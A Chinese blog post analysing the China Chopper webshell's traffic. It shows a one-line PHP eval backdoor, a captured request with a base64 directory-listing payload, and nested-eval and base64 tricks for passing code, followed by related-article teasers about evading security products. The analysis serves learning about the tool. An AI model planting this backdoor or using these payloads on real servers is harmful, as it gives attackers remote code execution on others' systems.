这里以eval为例

我们知道, php中的eval能把字符串当代码执行:

eval('phpcode');

注意, 这里的代码要有分号结尾, 我们测试:

我们创建一个最简单的SHELL:

<?php
eval($_POST['a']);

在post数据位置发送:

a=phpinfo()

可以看到phpinfo()并没有执行。

原来原因是要加 ; 号结速一个语句, 像php语法一样, 语句后面要加 ; 号。

这里还有一个问题就是, 输入的  a=phpinfo();  不需要用单或双引号括起来:

再回到eval, 我们加多层eval看看:

<?php
eval(eval(eval($_POST[a])));

看到效果是一样的:

我们创建一个简单WEBSHELL, 打开抓包工具抓菜刀包, 抓到的发送包是这样的:

POST /2.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 226.60.187.9
Referer: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Content-Length: 738
Connection: Close a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXHBocFN0dWR5XFxXV1dcXA%3D%3D

单纯地看上面的POST包, 在没有base64解密前提下, 可以明显的看到 菜刀会另外创造一个post数据(上图中的是z0)发送回来给a。

我们可以得知, 菜刀发送的包, 有点像这样:

<?php
eval($_POST[a]);
#post:
#$_POST[a] = 另一个post数据
#$_POST[a] = $_POST[b]
#传入的$_POST[a]=$_POST[b]=b的内容

也就是说, 我们发送包时, 可以这样构造一下:

a=$_POST[b]&b=phpinfo

这样就相当于是:

a=phpinfo

记得我们上面说过, 要加 ; 号, 不用加单双引号:

a=$_POST[b];&b=phpinfo()

这一个数据, 就相当于:

a=phpinfo();
#$_POST[b]替换成了: phpinfo()

我们测试一下效果:

可以看到, 并没有执行 phpinfo() 函数。

为什么呢?

用一个小例子来说明为什么:

echo 'post[a]:'.$_POST[a]."<br />";
echo 'post[b]:'.$_POST[b];

发送数据后如下所示:

可以看到, a 的值是 $_POST[b]; ,   但是这个 $_POST[b];  只是一个单纯字符串而已, 而这个字符串并未被当成php代码解释。

相当于我们创建了一个这样的代码:

<?php
'$_POST[b]';

这样的参数肯定会出错, 也相当于你创建了一个这样的代码:

eval('abcdefg');

eval要求是php代码形式的字符串, 所以, 下面这样就是合法的:

eval('echo "abcdefg";');

最后我们可以构造这样的代码:

eval('eval("$_POST[b]");')

这样phpinfo函数就能正常运行了。

把eval加进代码里:

有一点要注意的就是 $_POST[b]中的PHP代码参数要加 ; 号, 因为 $_POST[a] 里的eval要用到, 而 $_POST[a]里的php代码也要加 ; 号, 因为源码里的eval也要用到。

在 $_POST[a]的位置我们也可以用base64编码数据, 这样 $_POST[b]的数据就可以很好的正常发送了:

总之, a中的post数据中的eval目的是把他的值 $_POST[b] 解释。

我们其实可以在发送数据位置单单用一个a=post数据就行了。

<?php
eval($_post[a]);

在接收后我们可以用自已相要的方式加解密(如果你数据有加密的话):

<?php
eval(base64_decode($_POST[a]));
#post
#a=cGhwaW5mbygpOw==

那个java的C刀就是这样的做法。

php菜刀分析学习的更多相关文章

  1. 最新中国菜刀caidao-20160620下载和说明

    0x00 中国制造, 黑客之刀 中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相! 0x01 验证 此次更新还自带了官网 ...

  2. 当webshell不可执行cmshell时 (菜刀的安全模式!)可用此脚本突破执行cmd命令

    <?php /* ============== */ error_reporting(0); ini_set('max_execution_time',0); // -------------- ...

  3. 绕过D盾安全狗连接菜刀

    0x00 各种奇葩符号 现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;.asp/.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下 ...

  4. 菜刀轻松砍杀安全狗 asp一句话中转脚本

    看到很多朋友看了我的PHP中转脚本http://phpinfo.me/2014/02/01/309.html ,问我那个脚本只能中转PHP的,但是asp的呢 asp连接的时候安全狗拦截的正是菜刀POS ...

  5. ASPX版菜刀一句话,留后门专用

    首先解释一下为什么要做这个玩意:众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来 Jscript市场很低,遇到的.net站基本都是C#.新建一个SHELL ...

  6. 禁止用户自己停止SEP - 飞舞的菜刀 - 51CTO技术博客

    员工在自己的工作站上,右键点击状态栏SEP图标,停止SEP服务,导致管理员定制的策略失效,针对上述情况,请安装下述方法操作. 1. 打开SEPM. 2. 在[策略]里选中你所使用的[防病毒和防间谍软件 ...

  7. 使用SEP禁止客户端修改IP地址 - 飞舞的菜刀 - 51CTO技术博客

    1.首先从注册表中搜寻 IP地址所在的位置,查到几项,此项即可: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Paramete ...

  8. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  9. jQuery源码逐行分析学习02(第一部分:jQuery的一些变量和函数)

    第一次尝试使用Office Word,方便程度大大超过网页在线编辑,不过初次使用,一些内容不甚熟悉,望各位大神见谅~ 在上次的文章中,把整个jQuery的结构进行了梳理,得到了整个jQuery的简化结 ...

随机推荐

  1. Android Studio 修改 包名

    Android Studio上修改项目(module)的包名(Package Name)   当你对着包名右击,查找Refactor(重构)下的Rename(快捷键:SHIFT+F6)时,弹出来的仅仅 ...

  2. 网络流量统计using ADB

    /proc/net/xt_qtaguid/stats 基本覆盖目前所有机型且统计流量全面 adb shell cat /proc/net/xt_qtaguid/stats | grep (uid#) ...

  3. UVA12546_LCM Pair Sum

    题目的意思是求 [西伽马(p+q)]其中lcm(p,q)=n. 又见数论呀. 其实这个题目很简单,考虑清楚了可以很简单的方法飘过. 我一开始是这样来考虑的. 对于每一个单独的质因子,如果为p,它的次数 ...

  4. 对Spark2.2.0文档的学习2-Job Scheduling

    Job Scheduling Link:http://spark.apache.org/docs/2.2.0/job-scheduling.html 概况: (1)集群中多个应用的调度主要考虑的是不同 ...

  5. bzoj5039:[Jsoi2014]序列维护

    做做bzoj上的新题(不存在的) 同bzoj1798: [Ahoi2009]维护序列,样例都一样的...我能想象到的唯一的新的考察意义就是模数是2e9不是1e9,于是加法的时候需要转long long ...

  6. 再谈获取网站图标Icon

    上一篇文章讨论了一下获取网站图标方法,是通过从根目录直接获取和html解析结合的方式来获取的,并给出了相应的代码示例.这一篇来讨论一个更现成的方法,这个方法是从360导航的页面发现的,在导航页面中点击 ...

  7. BZOJ3620 似乎在梦中见过的样子(kmp)

    不是很懂为什么数据范围要开的这么诡异,想到正解都不敢写.用类似NOI2014动物园的方法,对每个后缀求出类似next的数组即可. #include<iostream> #include&l ...

  8. 【BZOJ4654】【NOI2016】国王饮水记(动态规划,斜率优化)

    [BZOJ4654][NOI2016]国王饮水记(动态规划,斜率优化) 题面 BZOJ 洛谷 题解 首先肯定是找性质. 明确一点,比\(h_1\)小的没有任何意义. 所以我们按照\(h\)排序,那么\ ...

  9. SC命令(windows服务开启/禁用)

    原文链接地址:https://blog.csdn.net/cd520yy/article/details/30976131 sc.exe命令功能列表: 1.更改服务的启动状态(这是比较有用的一个功能) ...

  10. 洛谷 P4093 [HEOI2016/TJOI2016]序列 解题报告

    P4093 [HEOI2016/TJOI2016]序列 题目描述 佳媛姐姐过生日的时候,她的小伙伴从某宝上买了一个有趣的玩具送给他.玩具上有一个数列,数列中某些项的值可能会变化,但同一个时刻最多只有一 ...